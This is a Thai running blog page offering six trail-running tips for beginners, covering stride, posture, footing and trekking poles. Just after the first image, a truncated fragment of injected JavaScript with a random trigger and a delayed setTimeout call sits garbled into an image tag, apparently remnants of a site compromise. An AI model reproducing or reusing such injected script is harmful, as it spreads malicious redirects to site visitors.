• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Running Tips

ทริค & ทิป สำหรับนักวิ่งTrailมือใหม่

kan by kan
11 September 2017
in Running Tips, Tips & Technics
0
นักวิ่ง
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

สนามวิ่งTrailมีความท้าทายมากกว่าการวิ่ง Road Running ธรรมดา มีความชัน เส้นทางขรุขระ มีการไต่และวิ่งลงเขา เข้ามาผสมถ้านักวิ่งคนไหนชอบบรรยากาศเงียบสงบในขณะวิ่ง การวิ่งเทรลอาจจะเป็นจุดหมายต่อไปของการวิ่งของคุณแน่นอน การวิ่งเทรลมีจุดเด่นที่ไม่เหมือนใคร นั้นคือ ภาพวิวบรรยาการจะเปลี่ยนแปลงไปเรื่อยๆ ไม่มีควันรถยนต์มากวนใจ สูดออกซิเจนบริสุทธิ์ได้อย่างเต็มปอด

Trail Running

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andro-stark-92881.jpg” alt=”Trail” width=”798″ height=”406″ />

ทำไมต้องวิ่งเทรล ?

1. ฝึกกล้ามเนื้อหรือ Resistance training อย่างเช่น การวิดพื้น สควอชและแพลงกิ้ง เสริมสร้างความแข็งแรงทนทานให้กล้ามเนื้อ Core และ Lower จะช่วยลดอาการบาดเจ็บ และพร้อมรับ Workload หนักๆ ได้

การลงแข่งเทรลครั้งแรกสำหรับใครหลายๆ คน ก็อยากให้เริ่มจากระยะสั้นๆ ซะก่อน 10-20 กิโลเมตรก็พอ เพราะเราจะได้ค้นพบว่ากล้ามเนื้อชุดไหน บริเวณไหนยังอ่อน จะได้กลับไปซ้อม ไม่ใช่จบแต่เจ็บ สำหรับผู้เขียนเองตอนลงเทรลครั้งแรก จัดไป 25 กิโลเมตรที่ตะนาวศรีเทรล 2015 ปรากฏว่าปวดกล้ามเนื้อ Quad มากเวลาวิ่งลงเขา (ซ้อมมาน้อย)

Trail

2. Short stride การซอยเท้าให้ถี่และสั้นลง จะช่วยเพิ่มความคล่องตัวในการเคลื่อนไหวมากขึ้น และมีสามารถเซฟแรงได้มากเวลาวิ่งขึ้นเขา

3. มองไปพื้นที่ข้างหน้าสแกนเส้นทางวิ่ง ห่างจากตัวประมาณ 3-5 เมตร อย่ามัวแต่มองวิวจนลืมดูเส้นทางวิ่ง เพราะเส้นทางเทรลมีพื้นขรุขระ ไม่เรียบเหมือนทางลาดยาง ผุ้วิ่งต้องมองไปข้างหน้า สแกนเส้นทาง จินตนาการเส้นทางการเคลื่อนไหวล่วงหน้าไปด้วย

4. วิ่งอกผายไหล่ผึ่ง จะช่วยให้ปอดมีพื้นที่ในการฟองตัวเต็มที่ แถมช่วยคลายแรงกดบนกล้ามเนื้อหลังและคอได้ด้วย

Trail

5. กางศอกออกและปล่อยแขนตามสบายเวลาวิ่งลงเขา จะช่วยสร้างสมดุลเวลาวิ่งบนทางขรุขระได้มากขึ้น และถ้าใครมีไม้เท้าหรือ Trekking pole จะช่วยสร้างจุดสัมผผัส เพิ่มบาลานซ์และการผ่อนแรงได้มากขึ้นด้วย ระยะทางวิ่ง 20 กิโลเมตรขึ้นไป แนะนำว่าให้พกพาไปด้วยนะ เ(อาไปเป็นคู่ละ อย่างเอาไปอันเดียว)

6. ลงเต็มเท้าหรือบริเวณ Midfoot จะช่วยเพิ่มพื้นที่ผิวสัมผัสได้มากขึ้น สร้างความมั่นคง บาลานซ์และแรงยึดเกาะได้ดีมากกว่าการลง Forefoot แต่ถ้ามือโปรแล้วจะเร่งความเร็วลง Forefoot ก็ได้ไม่ว่ากัน

Tags: TrailTrail Running
ShareTweetShare
kan

kan

Related Posts

Running Tips

9 เคล็ดลับพิชิตเทรล สำหรับนักวิ่งมือใหม่

15 November 2018
KPTC Trial 2018 : 6 Basic Trail Tips, You Must Know..!!! 6 พื้นฐานเทรลที่นักวิ่งควรรู้
Running Tips

KPTC Trial 2018 : 6 Basic Trail Tips, You Must Know..!!! 6 พื้นฐานเทรลที่นักวิ่งควรรู้

30 April 2018
ทำไม.. “ถุงเท้าวิ่ง”จึงเเตกต่างจากถุงเท้าธรรมดาทั่วไป
Gadget Tips

เกิดมาคู่กัน…ทำไมนักวิ่งเทรลชอบใส่ COMPRESSION SOCK

25 April 2018
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • มือใหม่อยาก วิ่ง 10 กิโล ต้องเริ่มอย่างไรและเรียนรู้อะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • ปั่นช้าๆ รอบขาต่ำ (Low cadence) มีประโยชน์มากกว่าที่คุณคิด

    0 shares
    Share 0 Tweet 0
  • 5 สิ่งที่ควรทำก่อนออกกำลังกาย

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
adidas จัดโปรแรงต้อนรับซัมเมอร์ ลด 30% สินค้าปกติ และ 50% สินค้าลดราคา ถึง 30 เม.ย. นี้

adidas จัดโปรแรงต้อนรับซัมเมอร์ ลด 30% สินค้าปกติ และ 50% สินค้าลดราคา ถึง 30 เม.ย. นี้

16 April 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2022 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.